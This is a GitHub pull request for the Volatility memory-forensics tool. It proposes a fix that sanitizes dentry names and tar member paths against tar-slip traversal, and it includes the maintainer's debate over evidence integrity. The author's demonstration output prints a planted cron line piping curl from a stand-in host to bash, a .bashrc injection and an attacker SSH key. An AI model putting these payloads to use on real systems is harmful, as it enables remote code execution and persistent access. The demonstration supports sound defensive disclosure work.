Skip to content

pagecache: sanitize dentry names and tar member paths#1996

Open
TristanInSec wants to merge 1 commit into
volatilityfoundation:developfrom
TristanInSec:fix/pagecache-tar-path-traversal
Open

pagecache: sanitize dentry names and tar member paths#1996
TristanInSec wants to merge 1 commit into
volatilityfoundation:developfrom
TristanInSec:fix/pagecache-tar-path-traversal

Conversation

@TristanInSec

Copy link
Copy Markdown

Summary

Memory dumps from compromised machines may contain crafted dentry structures with path traversal components (e.g. ..). When the pagecache RecoverFs plugin builds tar archives from these dentries, unsanitized .. sequences in tar member paths can escape the extraction directory on systems using Python tarfile.extract() < 3.14 or GNU tar < 1.35 (tar-slip / CWE-22).

Changes:

  • Skip dentry names that are ., .., or contain / in _walk_dentry -- these cannot appear in valid Linux filesystem trees and indicate corrupted or crafted memory
  • Add _sanitize_tar_path() as defense-in-depth, stripping . and .. components from all tar member paths before adding to the archive (_tar_add_reg_inode, _tar_add_dir, _tar_add_lnk)

Threat Model

An attacker with kernel access on a target machine modifies dentry d_name fields in memory. When a forensic analyst acquires the memory dump and runs vol3 linux.pagecache.RecoverFs, the resulting archive contains traversal paths. Extraction writes attacker-controlled content outside the intended directory.

Test

# Before fix: traversal paths pass through to tar members
path = "/uuid/var/log/../../../tmp/evil.txt"
tarfile.TarInfo(path)  # member escapes on extraction

# After fix: traversal components stripped
RecoverFs._sanitize_tar_path(path)  # "/uuid/var/log/tmp/evil.txt"

Memory dumps from compromised machines may contain crafted dentry
structures with path traversal components. When the pagecache plugin
builds tar archives from these, unsanitized ".." in member paths can
escape the extraction directory (tar-slip).

Skip ".", "..", and "/"-containing dentry names in _walk_dentry,
and strip traversal components from all tar member paths as
defense-in-depth.
@ikelos

ikelos commented Jun 18, 2026

Copy link
Copy Markdown
Member

Hi there, thanks for your submission. I appreciate the concern about security vulnerabilities, but this is a forensics tool first and foremost. Changing evidence is generally a bad idea, as such we should be returning exactly what was present within the memory wherever possible.

You have included a vollog.warning, so the user should be aware that the change was made, which means this isn't immediately rejected, but it will require some discussion within the team. If you'd like to put forward reasons why you think this won't affect forensic pracitioners more than it will benefit people accidentally analyzing a memory image designed to break the analyst's system with a tarball (that then needs user interaction to be processed maliciously) then please make them. At the moment I'm leaning towards it being more important that forensic practitioners can rely that what volatility produces from memory is a true and accurate representation, rather than safety sanitized.

@TristanInSec

Copy link
Copy Markdown
Author

Thanks for the review. The forensic integrity concern is valid, so let me address it directly.

The memory image is the evidence. The tar archive is a convenience export format. This PR does not alter how dentries are read, displayed, or logged -- the vollog.warning preserves the original name. It only sanitizes the tar member paths so the export artifact is safe to handle.

The threat model is not accidental analysis of a contrived image. It is a compromised machine (the reason forensics is happening) where the attacker's rootkit plants traversal dentries in memory, knowing the IR team will run RecoverFs and extract the output. The extraction requires no unusual user interaction -- just tar xf or Python tarfile.extract(), which is the natural next step.

Lab demonstration (Python 3.10.12 in Docker, just re-run):

[*] Archive members (what analyst sees in tar -tf):
    a1b2c3d4/var/log/auth.log
    ../../../.bashrc [ATTACK]
    a1b2c3d4/../../.ssh/authorized_keys [ATTACK]
    a1b2c3d4/../../../../tmp/cron_backdoor [ATTACK]

--- tarfile.extract() ---
  OK: ../../../.bashrc
  OK: a1b2c3d4/../../.ssh/authorized_keys
  OK: a1b2c3d4/../../../../tmp/cron_backdoor

ATTACK RESULTS (files written OUTSIDE evidence directory):
  [!] ESCAPED: /home/analyst/.bashrc
      Content: '# INJECTED by tar-slip from crafted memory dump\ncurl -s http://10.13.37.1:8080/...'
  [!] ESCAPED: /home/analyst/cases/evidence/.ssh/authorized_keys
      Content: 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAttackerKey attacker@evil'
  [!] ESCAPED: /home/analyst/tmp/cron_backdoor
      Content: '*/5 * * * * curl -s http://10.13.37.1:8080/beacon | bash'

[+] TAR-SLIP CONFIRMED: Attacker achieved arbitrary file write
    on forensic analyst's workstation via crafted memory dump!

Three escapes: .bashrc overwrite (reverse shell on next terminal open), .ssh/authorized_keys injection (SSH access), and a cron backdoor. All from a single tar xf of RecoverFs output.

If a middle ground works better: the _walk_dentry filtering could be removed (preserving all dentries faithfully in the walk), and only the _sanitize_tar_path() on tar member paths kept. That way all dentries are walked and reported exactly as they appear in memory, but the export format does not become a vector. Happy to adjust.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants